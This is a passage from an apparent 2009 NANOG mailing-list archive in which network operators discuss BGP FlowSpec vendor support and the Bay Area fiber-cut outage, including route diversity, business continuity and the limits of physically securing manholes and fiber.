Stefan) Date: Sat, 11 Apr 2009 15:56:27 -0400 Subject: BGP FlowSpec support on provider networks In-Reply-To: <2C9BF127-F75E-40D1-9A8B-1C4AE5A3084C@puck.nether.net> References: <47BEB524-51BC-4B4D-A7FB-4EFFA7CF633E@sackheads.org><75cb24520904102154j6143854ej59d52574cb97b5b@mail.gmail.com> <2C9BF127-F75E-40D1-9A8B-1C4AE5A3084C@puck.nether.net> Message-ID: > -----Original Message----- > From: Jared Mauch [mailto:jared at puck.nether.net] > >> Can you name 3 major vendors who support it? I suspect more > >> providers would > > > > juniper... and when they dropped the IPR stuff other vendors > basically > > walked away :( > > Causing consultations with lawyers by others involved with the draft. > Life is interesting. > > IPR, Politics and techie communication skills. The path to failure. I am familiar with the situation with the IPR and I have to say it's a very disappointing turn of events. I've long held Juniper in high regard as a leader in innovation, but in this instance I feel their actions are doing quite the opposite. That aside, it's 2009 and we're still left with a situation where methodologies which have been used for roughly a decade now (i.e. BGP triggered destination-based filtering) is still considered the norm. Now I realize that FlowSpec isn't a panacea, but it certainly meets some of the requirements that many customers have today, and it gives us a lot more flexibility over simply destination based filtering. Whether it's FlowSpec or something else, what's it going to take to get the vendors and the providers to start moving forward on technologies that are way overdue given the current trend of worms, botnets, and other Internet nastiness? Stefan Fouant: NeuStar, Inc. Principal Network Engineer 46000 Center Oak Plaza Sterling, VA 20166 [ T ] +1 571 434 5656 [ M ] +1 202 210 2075 [ E ] stefan.fouant at neustar.biz [ W ] www.neustar.biz From sthaug at nethelp.no Sat Apr 11 15:31:51 2009 From: sthaug at nethelp.no (sthaug at nethelp.no) Date: Sat, 11 Apr 2009 22:31:51 +0200 (CEST) Subject: BGP FlowSpec support on provider networks In-Reply-To: References: <75cb24520904102154j6143854ej59d52574cb97b5b@mail.gmail.com> <2C9BF127-F75E-40D1-9A8B-1C4AE5A3084C@puck.nether.net> Message-ID: <20090411.223151.74693417.sthaug@nethelp.no> > Now I realize that FlowSpec isn't a panacea, but it certainly meets some > of the requirements that many customers have today, and it gives us a > lot more flexibility over simply destination based filtering. Whether > it's FlowSpec or something else, what's it going to take to get the > vendors and the providers to start moving forward on technologies that > are way overdue given the current trend of worms, botnets, and other > Internet nastiness? Well, pretty clearly it's going to have to be multivendor, and not IPR encumbered. Aside from that, of course, the usual advice is to talk to your SE and vote with your wallet. >From our point of view, BGP triggered destination-based filtering is still one of our most important tools. We have thought about FlowSpec but haven't felt the need sufficiently strongly. Due to M&A we are now moving to a mixed Cisco/Juniper network - and FlowSpec is no longer all that interesting since Cisco doesn't implement it. Steinar Haug, Nethelp consulting, sthaug at nethelp.no From sean at donelan.com Sat Apr 11 18:11:44 2009 From: sean at donelan.com (Sean Donelan) Date: Sat, 11 Apr 2009 19:11:44 -0400 (EDT) Subject: Fiber cut in SF area In-Reply-To: <20090411175020.1D0532B21F9@mx5.roble.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> Message-ID: <200904111822510.32BF5B92.24774@clifden.donelan.com> On Sat, 11 Apr 2009, Roger Marquis wrote: > The real problem is route redundancy. This is what the original contract > from DARPA to BBM, to create the Internet, was about! "The net" was > created to enable communications bttn point A and point B in this exact > scenario. Uh, not exactly. There was diversity in this case, but there was also N+1 breaks. Outside of a few counties in the Bay Area, the rest of the country's telecommunication system was unaffected. So in that sense the system worked as designed. Read the original DARPA papers, they were not about making sure grandma could still make a phone call. > For a good "man in the street" perspective of how the outage effected > things like a pharmacy's ability to fill subscriptions and a university > computer's ability to boot check out a couple of shows broadcast on KUSP > (Santa Cruz Public Radio) this morning: Why didn't the "man in the street" pharmacy have its own backup plans? Why didn't the pharmacy also have a COMCAST or RCN broadband connection for alternative Internet access besides AT&T or Verizon, a Citizens Band radio channel 9 for alternative emergency communications besides 9-1-1, a satellite phone for alternative communications besides local cell phones, and a Hughes VSAT dish for yet even more diversity? Why was the pharmacy relying on a single provider? Or do it the old-fashion way before computers and telecommunications; keep a backup paper file of their records so they could continue to fill prescriptions? Why didn't the pharmacy have more self-diversity? Probably the usual reason, more diversity costs more. That may be the reason why hospitals have more diversity than neighborhood pharmacies; and emergency rooms have other ways to get medicine. Maintaining diversity and backups is probably also part of the reason why filling a prescription at a hospital is much more expensive than filling a prescription at your neighborhood pharmacy. Likewise, why didn't grandma have her own pharmacy backup plan. Don't wait until the last minute to refill a critical presciption, have backup copies of prescriptions with her doctor, have an account with an alternative pharmacist in case her primary pharmacist isn't reachable, etc. Readiness works better if everyone does their part, including grandma. Next time it won't be AT&T, it will be Cox or Comcast or Qwest or Level 3 or Global Crossing or .... or .... or .... . It won't be vandalism, it will be an earthquake, backhoe, gas main explosion, operator error, .... Everything fails sometimes. What's your plan? http://www.ready.gov/ personal opinion only From mike.lyon at gmail.com Sat Apr 11 18:25:26 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Sat, 11 Apr 2009 16:25:26 -0700 Subject: Fiber cut in SF area In-Reply-To: <200904111822510.32BF5B92.24774@clifden.donelan.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> <200904111822510.32BF5B92.24774@clifden.donelan.com> Message-ID: <1b5c1c150904111625v3559c95aj6d7db3937761dfef@mail.gmail.com> Anyone know how banks in the Bay Area did through this? I wonder how many banks went dark and whether they had any backup plans/connectivity. Me thinks its doubtful. I also wonder if the bigger pharmacies such as Longs, Walgreens, Rite-Aid, Etc had thought about these kinds of issues? I personally doubt it. I bet you they went dark along with everyone else. Unfortunate. The funny thing is that the California lottery would be somewhat immuned to this kind of disaster as they actually use Hughes VSAT at every single retailer. Sorry for the random thoughts... -Mike On Sat, Apr 11, 2009 at 4:11 PM, Sean Donelan wrote: > On Sat, 11 Apr 2009, Roger Marquis wrote: > >> The real problem is route redundancy. This is what the original contract >> from DARPA to BBM, to create the Internet, was about! "The net" was >> created to enable communications bttn point A and point B in this exact >> scenario. >> > > Uh, not exactly. There was diversity in this case, but there was also N+1 > breaks. Outside of a few counties in the Bay Area, the rest of the > country's telecommunication system was unaffected. So in that sense the > system worked as designed. > > Read the original DARPA papers, they were not about making sure grandma > could still make a phone call. > > > For a good "man in the street" perspective of how the outage effected >> things like a pharmacy's ability to fill subscriptions and a university >> computer's ability to boot check out a couple of shows broadcast on KUSP >> (Santa Cruz Public Radio) this morning: >> > > Why didn't the "man in the street" pharmacy have its own backup plans? > > Why didn't the pharmacy also have a COMCAST or RCN broadband connection for > alternative Internet access besides AT&T or Verizon, a Citizens Band radio > channel 9 for alternative emergency communications besides 9-1-1, > a satellite phone for alternative communications besides local cell phones, > and a Hughes VSAT dish for yet even more diversity? Why was the pharmacy > relying on a single provider? Or do it the old-fashion way before computers > and telecommunications; keep a backup paper file of their records so they > could continue to fill prescriptions? > > Why didn't the pharmacy have more self-diversity? Probably the usual > reason, more diversity costs more. That may be the reason why hospitals > have more diversity than neighborhood pharmacies; and emergency rooms have > other ways to get medicine. Maintaining diversity and backups is probably > also part of the reason why filling a prescription at a hospital is much > more expensive than filling a prescription at your neighborhood pharmacy. > > Likewise, why didn't grandma have her own pharmacy backup plan. Don't wait > until the last minute to refill a critical presciption, have backup copies > of prescriptions with her doctor, have an account with an alternative > pharmacist in case her primary pharmacist isn't reachable, etc. > > Readiness works better if everyone does their part, including grandma. > > Next time it won't be AT&T, it will be Cox or Comcast or Qwest or Level 3 > or Global Crossing or .... or .... or .... . It won't be vandalism, it will > be an earthquake, backhoe, gas main explosion, operator error, .... > > Everything fails sometimes. What's your plan? > > http://www.ready.gov/ > > personal opinion only > > From jmamodio at gmail.com Sat Apr 11 18:33:45 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 11 Apr 2009 18:33:45 -0500 Subject: Fiber cut in SF area In-Reply-To: <200904111822510.32BF5B92.24774@clifden.donelan.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> <200904111822510.32BF5B92.24774@clifden.donelan.com> Message-ID: <202705b0904111633q4b60348fpdb1d91bcafe4a6cb@mail.gmail.com> > Read the original DARPA papers, they were not about making sure grandma > could still make a phone call. That's a great explanation in few words. > Everything fails sometimes. ?What's your plan? Even the failover plans ... Cheers Jorge From ravi at cow.org Sat Apr 11 18:38:09 2009 From: ravi at cow.org (Ravi Pina) Date: Sat, 11 Apr 2009 19:38:09 -0400 Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904111625v3559c95aj6d7db3937761dfef@mail.gmail.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> <200904111822510.32BF5B92.24774@clifden.donelan.com> <1b5c1c150904111625v3559c95aj6d7db3937761dfef@mail.gmail.com> Message-ID: <20090411233809.GA39240@neu.cow.org> While OT the news reports indicated ATMs were offline and many credit card processing machines were down. This is no big shock because many ATM networks are on frame relay and POS credit card machines use POTS lines. The outage also impacted mobile service too if it hadn't been said. I hope we can put this thread to rest soon. -r On Sat, Apr 11, 2009 at 04:25:26PM -0700, Mike Lyon wrote: > Anyone know how banks in the Bay Area did through this? I wonder how many > banks went dark and whether they had any backup plans/connectivity. Me > thinks its doubtful. > > I also wonder if the bigger pharmacies such as Longs, Walgreens, Rite-Aid, > Etc had thought about these kinds of issues? I personally doubt it. I bet > you they went dark along with everyone else. Unfortunate. > > The funny thing is that the California lottery would be somewhat immuned to > this kind of disaster as they actually use Hughes VSAT at every single > retailer. > > Sorry for the random thoughts... > > -Mike > From r.engehausen at gmail.com Sat Apr 11 19:19:06 2009 From: r.engehausen at gmail.com (Roy) Date: Sat, 11 Apr 2009 17:19:06 -0700 Subject: Fiber cut in SF area In-Reply-To: <1b5c1c150904111625v3559c95aj6d7db3937761dfef@mail.gmail.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> <200904111822510.32BF5B92.24774@clifden.donelan.com> <1b5c1c150904111625v3559c95aj6d7db3937761dfef@mail.gmail.com> Message-ID: <49E1337A.2050200@gmail.com> Mike Lyon wrote: > Anyone know how banks in the Bay Area did through this? I wonder how many > banks went dark and whether they had any backup plans/connectivity. Me > thinks its doubtful. > > ... Because of the loss of the alarm systems, many banks went to a method where only one or two people were let in at a time. Extra security was also posted because of the inability to call 911. From mike.lyon at gmail.com Sat Apr 11 19:29:26 2009 From: mike.lyon at gmail.com (Mike Lyon) Date: Sat, 11 Apr 2009 17:29:26 -0700 Subject: Fiber cut in SF area In-Reply-To: <49E1337A.2050200@gmail.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> <200904111822510.32BF5B92.24774@clifden.donelan.com> <1b5c1c150904111625v3559c95aj6d7db3937761dfef@mail.gmail.com> <49E1337A.2050200@gmail.com> Message-ID: <1b5c1c150904111729s373518b0r9b49d2ad9775aeab@mail.gmail.com> Don't really care so much about the bank's security, especially if it was one that received some the bailout money :) I was more worried about if people could make withdraws from their bank accounts. Deposits they could do as they could enter them in later but withdraws I think would be different. On Sat, Apr 11, 2009 at 5:19 PM, Roy wrote: > Mike Lyon wrote: > > Anyone know how banks in the Bay Area did through this? I wonder how many > > banks went dark and whether they had any backup plans/connectivity. Me > > thinks its doubtful. > > > > ... > > Because of the loss of the alarm systems, many banks went to a method > where only one or two people were let in at a time. Extra security was > also posted because of the inability to call 911. > > > > From r.engehausen at gmail.com Sat Apr 11 20:02:02 2009 From: r.engehausen at gmail.com (Roy) Date: Sat, 11 Apr 2009 18:02:02 -0700 Subject: Fiber cut in SF area In-Reply-To: <200904111822510.32BF5B92.24774@clifden.donelan.com> References: <20090411175020.1D0532B21F9@mx5.roble.com> <200904111822510.32BF5B92.24774@clifden.donelan.com> Message-ID: <49E13D8A.3060205@gmail.com> Sean Donelan wrote: > ,,,, > Uh, not exactly. There was diversity in this case, but there was also > N+1 breaks. Outside of a few counties in the Bay Area, the rest of > the country's telecommunication system was unaffected. So in that > sense the system worked as designed. > .... About eight or ten years ago I went to PacBell (or whatever it was called at the time) and requested that two large facilities get a sonet ring between them. I was told I couldn't have it because they were both fed through a single set of conduits and one backhoe could cut both sides of the ring. It wouldn't be diverse so they wouldn't provison it unless I paid for the digging of new paths. So much for their theory of diverse. Sounds like the rules are different for them. There are one thing to also point out. That train track next to the manholes in South San Jose is the major line between the Bay Area and Southern CA. There are at least three or four fiber paths for different companies buried along those tracks. There are also connections from Gilroy to the Hollister/San Juan Bautista area and thence to Salinas. It would have been very simple for the telcos to provision a backup path southward. From morrowc.lists at gmail.com Sat Apr 11 21:01:14 2009 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Sat, 11 Apr 2009 22:01:14 -0400 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: <200904111843.n3BIhNfR035662@aurora.sol.net> References: <200904111250.55796.lowen@pari.edu> <200904111843.n3BIhNfR035662@aurora.sol.net> Message-ID: <75cb24520904111901j4ba65000s80c003d6b5c4a007@mail.gmail.com> On Sat, Apr 11, 2009 at 2:43 PM, Joe Greco wrote: >> On Saturday 11 April 2009 08:31:55 Joe Greco wrote: >> > Speaking of that, a manhole cover is >> > typically protecting some hole, accessway, or vault that's made out of >> > concrete. >> >> An oxyacetylene torch or a plasma cutter will slice through regular steel >> manhole covers in minutes. > > Yes, but we were discussing locked covers, which (given the underlying > assumptions of this discussion) might be a bit heavier. ?Further, it would > be vaguely suspicious and more noticeable for a "road crew" or "power > company" truck to be deploying such gear, might draw more attention. Cop: 'What are you fellows doing there with the torch?" Me: "Us? Oh yea.... some dipstick plugged up our lock here with epoxy, our quick solution cause of the outage is to cut the lock/blah off with a torch, bummer, eh? I hate dipsticks..." Cop: "Cool, have a good night!" :( > >> The locking covers I have seen here put the lock(s) on the inside cover cam >> jackscrew (holes through the jackscrew close to the inside cover seal rod >> nut), rather than on the outside cover, thus keeping the padlocks out of the >> weather. > > More expense. ?:-) and complexity and parts to lose and people to have away during normal outage repairs and ... :( fail. >> Requires a certain atmosphere of distrust, unfortunately. ?And slows repairs >> way down, especially if the 833's key is lost.... > > > Certainly it is *possible* to do it, but given the other variables, does > it make *sense*? > > Consider what I was saying about just going to town with a backhoe. ?You > have a lot to protect. and I also would ask.. what's the cost/risk here? 'We' lost at best ~1day for some folks in the outage, nothing global and nothing earth-shattering... This has happened (this sort of thing) 1 time in how many years? Expending $$ and time and people to go 'put padlocks on manhole covers' seems like spending in the wrong place... (yes, I agree also that simply dropping into a manhole with an axe/hacksaw is pretty simple to do, it's also just about impossible to realisitcally protect against) -Chris From carlos at race.com Sat Apr 11 21:13:16 2009 From: carlos at race.com (Carlos Alcantar) Date: Sat, 11 Apr 2009 19:13:16 -0700 Subject: Fiber cut in SF area Message-ID: <859604546CD1FF488BDB6EA94C896AFB776128@racexchange.race.local> I know as far as att/sbc/pacbell a lot of the time they run the ring within the same conduit to at least have hardware protection on the circuit I'm sure it's the same with other providers. -carlos -----Original Message----- From: Roy [mailto:r.engehausen at gmail.com] Sent: Saturday, April 11, 2009 6:02 PM To: nanog at nanog.org Subject: Re: Fiber cut in SF area Sean Donelan wrote: > ,,,, > Uh, not exactly. There was diversity in this case, but there was also > N+1 breaks. Outside of a few counties in the Bay Area, the rest of > the country's telecommunication system was unaffected. So in that > sense the system worked as designed. > .... About eight or ten years ago I went to PacBell (or whatever it was called at the time) and requested that two large facilities get a sonet ring between them. I was told I couldn't have it because they were both fed through a single set of conduits and one backhoe could cut both sides of the ring. It wouldn't be diverse so they wouldn't provison it unless I paid for the digging of new paths. So much for their theory of diverse. Sounds like the rules are different for them. There are one thing to also point out. That train track next to the manholes in South San Jose is the major line between the Bay Area and Southern CA. There are at least three or four fiber paths for different companies buried along those tracks. There are also connections from Gilroy to the Hollister/San Juan Bautista area and thence to Salinas. It would have been very simple for the telcos to provision a backup path southward. From marquis at roble.com Sat Apr 11 22:08:58 2009 From: marquis at roble.com (Roger Marquis) Date: Sat, 11 Apr 2009 20:08:58 -0700 (PDT) Subject: Fiber cut in SF area In-Reply-To: References: Message-ID: <20090412030858.8CD772B21F9@mx5.roble.com> Jorge Amodio wrote: > s/DARPA/ARPA/; s/BBM/BBN/; s/Internet/ARPAnet/. /DARPA/ARPA/ may be splitting hairs. According to http://www.livinginternet.com/i/ii_roberts.htm "DARPA head Charlie Hertzfeld promised IPTO Director Bob Taylor a million dollars to build a distributed communications network". And apologies WRT /BBM/BBN/. Guess it was really has been a while now (given the 4 and 5 figure checks to BBN I signed back in the day). Sean Donelan wrote: > On Sat, 11 Apr 2009, Roger Marquis wrote: >> The real problem is route redundancy. This is what the original contract >> from DARPA to BBM, to create the Internet, was about! "The net" was >> created to enable communications bttn point A and point B in this exact >> scenario. > > Uh, not exactly. There was diversity in this case, but there was also > N+1 breaks. Outside of a few counties in the Bay Area, the rest of the > country's telecommunication system was unaffected. So in that sense the > system worked as designed. > > Read the original DARPA papers, they were not about making sure grandma > could still make a phone call. Apparently even some network operators don't yet grasp the significance of this event. > Why didn't the "man in the street" pharmacy have its own backup plans? I assume they, as most of us, believed the government was taking care of the country's critical infrastructure. Interesting how well this illustrates the growing importance of the Internet vis-a-vis other communications channels. Roger Marquis From vixie at isc.org Sat Apr 11 22:37:00 2009 From: vixie at isc.org (Paul Vixie) Date: Sun, 12 Apr 2009 03:37:00 +0000 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: <75cb24520904111901j4ba65000s80c003d6b5c4a007@mail.gmail.com> (Christopher Morrow's message of "Sat\, 11 Apr 2009 22\:01\:14 -0400") References: <200904111250.55796.lowen@pari.edu> <200904111843.n3BIhNfR035662@aurora.sol.net> <75cb24520904111901j4ba65000s80c003d6b5c4a007@mail.gmail.com> Message-ID: Christopher Morrow writes: > and I also would ask.. what's the cost/risk here? 'We' lost at best > ~1day for some folks in the outage, nothing global and nothing > earth-shattering... This has happened (this sort of thing) 1 time in > how many years? Expending $$ and time and people to go 'put padlocks > on manhole covers' seems like spending in the wrong place... as long as the west's ideological opponents want terror rather than panic, and also to inflict long term losses rather than short term losses, that's true. in this light you can hopefully understand why bollards to protect internet exchanges against truck bombs are not only penny wise pound foolish (since the manholes a half mile away won't be hardened or monitored or even locked) but also completely wrongheaded (since terrorists need publicity which means they need their victims to be fully able to communicate.) -- Paul Vixie From sronan at fattoc.com Sat Apr 11 09:59:05 2009 From: sronan at fattoc.com (Shane Ronan) Date: Sat, 11 Apr 2009 10:59:05 -0400 Subject: Fiber cut in SF area In-Reply-To: <200904111231.n3BCVtPD020297@aurora.sol.net> References: <200904111231.n3BCVtPD020297@aurora.sol.net> Message-ID: <38CD4F96-D143-401D-8BAB-A0CEE66E1C72@fattoc.com> An easy way to describe what your saying is "Security by obscurity is not security" On Apr 11, 2009, at 8:31 AM, Joe Greco wrote: >> Jo?? wrote: >>> I'm confussed, but please pardon the ignorance. >>> All the data centers we have are at minimum keys to access >>> data areas. Not that every area of fiber should have such, but >>> at least should they? Manhole covers "can" be keyed. For those of >>> you arguing that this is not enough, I would say at least it???s a >>> start. >>> Yes if enough time goes by anything can happen, but how can one >>> argue an ATM machince that has (at times) thousands of dollars >>> stands >>> out 24/7 without more immediate wealth. Perhaps I am missing >>> something here, do the Cops stake out those areas? dunno >> >> The nice thing about the outdoors is how much of it there is. > > Cute, but a lot of people seem to be wondering this, so a better > answer > is deserved. > > The ATM machine is somewhat protected for the extremely obvious reason > that it has cash in it, but an ATM is hardly impervious. > > http://www.youtube.com/watch?v=4P8WM8ZZDHk > > There are all sorts of strategies for attacking ATM's, and being > susceptible to a sledgehammer, crowbar, or truck smashing into the > unit shouldn't be hard to understand. > > Most data centers have security that is designed to keep honest people > out of places that they shouldn't be. Think that "security guard" at > the front will stop someone from running off with something valuable? > Maybe. Have you considered following the emergency fire exits > instead? > Running out the loading dock? Etc? > > Physical security is extremely difficult, and defending against a > determined, knowledgeable, and appropriately resourced attacker out to > get *you* is a losing battle, every time. > > Think about a door. You can close your bathroom door and set the > privacy > lock, but any adult with a solid shoulder can break that door, or > with a > pin (or flathead or whatever your particular knob uses) can stick it > in > and trigger the unlock. Your front door is more solid, but if it's > wood, > and not reinforced, I'll give my steel-toed boots better than even > odds > against it. What? You have a commercial hollow steel door? Ok, that > beats all of that, let me go get my big crowbar, a little bending will > let me win. Something more solid? Ram it with a truck. You got a > freakin' bank vault door? Explosives, torches, etc. Fort Knox? > Bring a > large enough army, you'll still get in. > > Notice a pattern? For any given level of protection, > countermeasures are > available. Your house is best "secured" by making changes that make > it > appear ordinary and non-attractive. That means that a burglar is > going to > look at your house, say "nah," and move on to your neighbor's house, > where > your neighbor left the garage open. > > But if I were a burglar and I really wanted in your house? There's > not > that much you could really do to stop me. It's just a matter of how > well > prepared I am, how well I plan. > > So. Now. Fiber. > > Here's the thing, now. First off, there usually isn't a financial > motivation to attack fiber optic infrastructure. ATM's get some > protection because without locks, criminals would just open them and > take the cash. Having locks doesn't stop that, it just makes it > harder. > However, the financial incentive for attacking a fiber line is low. > Glass is cheap. We see attacks against copper because copper is > valuable, and yet we cannot realistically guard the zillions of miles > of copper that is all around. > > Next. Repair crews need to be able to access the manholes. This is a > multifaceted problem. First off, since there are so many manholes to > protect, and there are so many crews who might potentially need to > access > them, you're probably stuck with a "standardized key" approach if you > want to lock them. While this offers some protection against the > average > person gaining unauthorized access, it does nothing to prevent "inside > job" attacks (and I'll note that this looks suspiciously like an > "inside > job" of some sort). Further, any locking mechanism can make it more > difficult to gain access when you really need access; some manholes > are > not opened for years or even decades at a time. What happens when the > locks are rusted shut? Is the mechanism weak enough that it can be > forced open, or is it tolerable to have to wait extra hours while a > crew finds a way to open it? Speaking of that, a manhole cover is > typically protecting some hole, accessway, or vault that's made out of > concrete. Are you going to protect the concrete too? If not, what > prevents me from simply breaking away the concrete around the manhole > cover rim (admittedly a lot of work) and just discarding the whole > thing? > > Wait. I just want to *break* the cable? Screw all that. Get me a > backhoe. I'll just eyeball the direction I think the cable's going, > and start digging until I snag something. > > Start to see the problems? > > I'm not saying that security is a bad thing, just a tricky thing. > > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net > "We call it the 'one bite at the apple' rule. Give me one chance > [and] then I > won't contact you again." - Direct Marketing Ass'n position on e- > mail spam(CNN) > With 24 million small businesses in the US alone, that's way too > many apples. > From joelja at bogus.com Sat Apr 11 22:44:35 2009 From: joelja at bogus.com (Joel Jaeggli) Date: Sat, 11 Apr 2009 20:44:35 -0700 Subject: Fiber cut in SF area In-Reply-To: <20090412030858.8CD772B21F9@mx5.roble.com> References: <20090412030858.8CD772B21F9@mx5.roble.com> Message-ID: <49E163A3.6030602@bogus.com> Roger Marquis wrote: >> Why didn't the "man in the street" pharmacy have its own backup plans? > > I assume they, as most of us, believed the government was taking care of > the country's critical infrastructure. Interesting how well this > illustrates the growing importance of the Internet vis-a-vis other > communications channels. It's also possible that they just planned on being down in such an event. There's two factors here: Not all low frequency risks are worth mitigating (how many of us have generators at home). Humans are bad at planning around rare events. Econimist Nassim Taleb's book The Black Swan (isbn 978-1400063512) ought to be on everyones list for coverage of the subject matter. Fiber cuts are well outside the realm of experience for your average business manager. The normal remediation strategy (for telecommunications outage) in fact worked just fine, call your provider, and or wait for them to fix it. > Roger Marquis > From beckman at angryox.com Sat Apr 11 22:59:30 2009 From: beckman at angryox.com (Peter Beckman) Date: Sat, 11 Apr 2009 23:59:30 -0400 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: <200904111250.55796.lowen@pari.edu> References: <200904111231.n3BCVtPD020297@aurora.sol.net> <200904111250.55796.lowen@pari.edu> Message-ID: On Sat, 11 Apr 2009, Lamar Owen wrote: > The locking covers I have seen here put the lock(s) on the inside cover cam > jackscrew (holes through the jackscrew close to the inside cover seal rod > nut), rather than on the outside cover, thus keeping the padlocks out of the > weather. I'm starting to wonder what makes more sense -- locking down thousands of miles of underground tunnel with mil-spec expensive locks that ideally keep unauthorized people out, OR simple motion and or video cameras in the tunnels themselves which relay their access back to a central facility, along with a video feed of sorts, to help identify who is there, whether approved or not. With locks, you know they gained access after the fact and that your locking wasn't sufficient enough. With active monitoring of the area where the cables live, you at least know the moment someone goes in, and have some lead time (and maybe a video) to do something to prevent it, or catch them in the act. Unfortunately, that kind of monitoring is also expensive and complex. I wonder what the cost of the outage was, and how much it might cost to monitor it? Would it be worth $2,000 per site per year? A great webcam, with day/night capability, and a cell phone, in a locked box, with a solar panel, on top of a pole, near the site. Sure, if you know it's there, taking it out is easy, but someone will still know something is wrong when it goes dark or the picture changes significantly. Are there some low-cost, highly-effective ways that the tunnels which carry our precious data and communications can at least be monitored remotely? Waiting for someone to cut a cable and then deploying a crew seems reactive, whereas knowing the moment someone goes INTO the tunnel is proactive, whether the person(s) are there to do some normal maintenance or something malicious. Beckman I suppose rats and other rodents could cause such a system to be too annoying to pay attention to. --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From jgreco at ns.sol.net Sat Apr 11 23:03:05 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 11 Apr 2009 23:03:05 -0500 (CDT) Subject: Fiber cut in SF area In-Reply-To: <38CD4F96-D143-401D-8BAB-A0CEE66E1C72@fattoc.com> from "Shane Ronan" at Apr 11, 2009 10:59:05 AM Message-ID: <200904120403.n3C435PH058833@aurora.sol.net> > An easy way to describe what your saying is "Security by obscurity is > not security" Yes and no. From a certain point of view, security is almost always closely tied to obscurity. A cylinder lock is simply a device that operates through principles that are relatively unknown to the average person: they just know that you stick a key in, turn it, and it opens. The security of such a lock is dependent on an attacker not knowing what a pin and tumbler design is, and not having the tools and (trivial) skills needed to defeat it. That is obscurity of one sort. Public key crypto is, pretty much by definition, reliant on the obscurity of private keys in order to make it work. Ouch, eh. And "hard to obtain" is essentially a parallel as well. Simply making keyblanks hard to obtain is really a form of obscurity. How much security is dependent on that sort of strategy? It can (and does) work well in many cases, but knowing the risks and limits is important. But that's all assuming that you're trying to secure something against a typical attacker. My point was more the inverse, which is that a determined, equipped, and knowledgeable attacker is a very difficult thing to defend against. Which brings me to a new point: if we accept that "security by obscurity is not security," then, what (practical thing) IS security? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From mike at rockynet.com Sun Apr 12 00:36:14 2009 From: mike at rockynet.com (Mike Lewinski) Date: Sat, 11 Apr 2009 23:36:14 -0600 Subject: Fiber cut in SF area In-Reply-To: <200904120403.n3C435PH058833@aurora.sol.net> References: <200904120403.n3C435PH058833@aurora.sol.net> Message-ID: <49E17DCE.9030605@rockynet.com> Joe Greco wrote: > My point was more the inverse, which is that a determined, equipped, > and knowledgeable attacker is a very difficult thing to defend against. "The Untold Story of the World's Biggest Diamond Heist" published recently in Wired was a good read on that subject: http://www.wired.com/politics/law/magazine/17-04/ff_diamonds > Which brings me to a new point: if we accept that "security by obscurity > is not security," then, what (practical thing) IS security? Obscurity as a principle works just fine provided the given token is obscure enough. Ideally there are layers of "security by obscurity" so compromise of any one token isn't enough by itself: my strong ssh password (1 layer of obscurity) is protected by the ssh server key (2nd layer) that is only accessible via vpn which has it's own encryption key (3rd layer). The loss of my password alone doesn't get anyone anything. The compromise of either the VPN or server ssh key (without already having direct access to those systems) doesn't get them my password either. I think the problem is that the notion of "security by obscurity isn't security" was originally meant to convey to software vendors "don't rely on closed source to hide your bugs" and has since been mistakenly applied beyond that narrow context. In most of our applications, some form of obscurity is all we really have. Mike From swmike at swm.pp.se Sun Apr 12 01:38:43 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Sun, 12 Apr 2009 08:38:43 +0200 (CEST) Subject: Fiber cut in SF area In-Reply-To: <200904120403.n3C435PH058833@aurora.sol.net> References: <200904120403.n3C435PH058833@aurora.sol.net> Message-ID: On Sat, 11 Apr 2009, Joe Greco wrote: > Public key crypto is, pretty much by definition, reliant on the > obscurity of private keys in order to make it work. In security terms, public key crypto is not "security by obscurity", as the obscurity part is related to how the method works, and the key is secret. So "openssh" is definitely not "security by obscurity", as anyone with programming knowledge can find out exactly how everything works, and the only thing that is a secret is the private key generated. -- Mikael Abrahamsson email: swmike at swm.pp.se From beckman at angryox.com Sun Apr 12 20:49:50 2009 From: beckman at angryox.com (Peter Beckman) Date: Sun, 12 Apr 2009 21:49:50 -0400 Subject: Fiber cut in SF area In-Reply-To: <75cb24520904110854n35686d6dr779683c0a6e2c833@mail.gmail.com> References: <200904111231.n3BCVtPD020297@aurora.sol.net> <8763hbcjkg.fsf@mid.deneb.enyo.de> <75cb24520904110854n35686d6dr779683c0a6e2c833@mail.gmail.com> Message-ID: On Sat, 11 Apr 2009, Christopher Morrow wrote: > I'm not sure that the manholes == atm discussion is valid, but in the > end the same thing is prone to happen to the manholes, there isn't > going to be a unique key per manhole, at best it'll be 1/region or > 1/manhole-owner. In the end that key is compromised as soon as the > decision is made :( Also keep in mind that keyed locks don't really > provide much protection, since anyone can order lockpicks over the > interwebs these days, even to states where ownership is apparently > illegal :( Too bad there isn't 1Password for manhole covers. --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From jgreco at ns.sol.net Sun Apr 12 07:12:12 2009 From: jgreco at ns.sol.net (Joe Greco) Date: Sun, 12 Apr 2009 07:12:12 -0500 (CDT) Subject: Fiber cut in SF area In-Reply-To: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM Message-ID: <200904121212.n3CCCCEs012209@aurora.sol.net> > > Joe Greco wrote: > > > My point was more the inverse, which is that a determined, equipped, > > and knowledgeable attacker is a very difficult thing to defend against. > > "The Untold Story of the World's Biggest Diamond Heist" published > recently in Wired was a good read on that subject: > > http://www.wired.com/politics/law/magazine/17-04/ff_diamonds Thanks, *excellent* example. > > Which brings me to a new point: if we accept that "security by obscurity > 